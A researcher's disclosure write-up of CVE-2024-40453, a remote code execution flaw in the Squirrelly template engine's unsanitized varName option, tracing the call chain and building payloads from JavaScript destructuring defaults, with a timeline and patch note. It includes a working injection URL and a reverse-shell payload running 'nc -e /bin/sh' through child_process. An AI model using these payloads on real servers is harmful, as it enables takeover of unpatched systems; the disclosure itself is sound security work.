Squirrelly v9.0.0 RCE (CVE-2024-40453)
This is a writeup for CVE-2024-40453.
Technical details
Initial findings
When looking through the Squirrelly source code, OwOverflow pointed out this segment of code in
src/compile-string.ts
to me:
var res = |
(env
is the options
parameter passed to the render
function)
After following the complete function call chain (render -> handleCache -> compile -> compileString
), I found that the
env.varName
parameter is indeed not sanitized. At first glance, this seems like an easy way to inject arbitrary JS and
get RCE server-side. In order to get this exploit to work, the attacker should set env.useWith
so that env.varName
is injected.
The with
expression is an almost-deprecated Javascript feature that allows you to execute a block of code, appending
an object to the global scope chain. This is demonstrated below:
with ("asdf") { |
However, what is important is that we can inject an arbitrary expression into the with
argument. This can easily allow
us to get RCE! A simple payload would be:
// options.varName = 'console.log("x")' |
This should execute the console.log("x")
statement and give us RCE.
Testing
We can set up a simple server to test this out.
const express = require("express") |
Visiting the following URL to execute our payload:
http://localhost:3000?useWith=1&varName=console.log("x") |
However, if we try to do this, we get the following error:
Squirrelly Error: Bad template syntax |
What does this mean? Searching for the error message, we can see the error being raised at
src/compile.ts:44
:
try { |
The options.varName
parameter is being passed to the ctor
function (which is just a Function
constructor). The
Function
constructor takes in n+1
arguments, where the first n
arguments are parameters of the function to be
created, and the last argument is the function body. That’s what’s causing our error, since we’re passing
console.log("x")
into the parameter field. This means our injection occurs in the first parameter of the new function
being created, and should be a valid JS expression that can be passed in a parameter declaration. And our payload should
still execute as per normal in the with
expression.
First payload
Javascript allows for parameters to be destructured in the function definition like so:
function f({ a }) { |
This is done through object destructuring. It’s quite flexible and also allows for default values to be set:
function f({ a = 1 }) { |
This is the vector for our RCE. When setting the default value, the expression has to be evaluated, which we can use for RCE. Something like this should work:
function f({ a = console.log("x") }) { |
However, there’s a small problem - our payload is also being injected in the with
expression, and this syntax is
invalid there since it’s not a valid object initializer.
with ({ a = console.log("x") } || {}) { |
Indeed, when we try this payload, it crashes as well:
Squirrelly Error: Bad template syntax |
Luckily, according to the docs, the destructuring syntax is quite flexible and allows for a lot more kinds of syntax:
const [a, b] = array; |
The most interesting syntax is this:
({ a: a1 = aDefault, b = bDefault } = obj); |
It takes the value corresponding to the a1
key in obj
, and assigns it to a
. If a1
is not defined then it
evaluates aDefault
With this syntax, we can satisfy the with
expression since it’s now a valid object initializer. It also satisfies the
Function
constructor since it’s simply assigning the value to a different name. So we can use this for RCE!
// valid! |
Let’s test out our payload with a reverse shell:
Payload: { a: b = global.process.mainModule.require("child_process").execSync("nc -e /bin/sh localhost 1337") } |
And we have RCE!
Better payloads
In the process of writing the report, I realized that there are easier payloads that can be used:
[ a = console.log("x") ] |
This payload is valid in both the with
expression and the Function
constructor.
// don't set useWith=1 |
With this payload, we can just bypass the with
expression entirely, and just inject the payload into the Function
constructor.
Timeline
Note: When I first requested the CVE ID, I put my Gmail as the contact email, but didn’t receive any response. I’m
pretty sure that Gmail is blocking emails from mitre.org
which can’t be disabled, so I re-requested the CVE with
Outlook.
- First discovery: 28 May 2024
- Reported to maintainer Ben Gubler: 28 May 2024
- CVE ID requested: 30 May 2024
- CVE ID re-requested: 1 Jul 2024
- Fix merged: 2 Jul 2024
- CVE ID assigned: 17 Jul 2024
- Public disclosure: 18 Jul 2024
Remediation
The vulnerability has been patched in v9.1.0.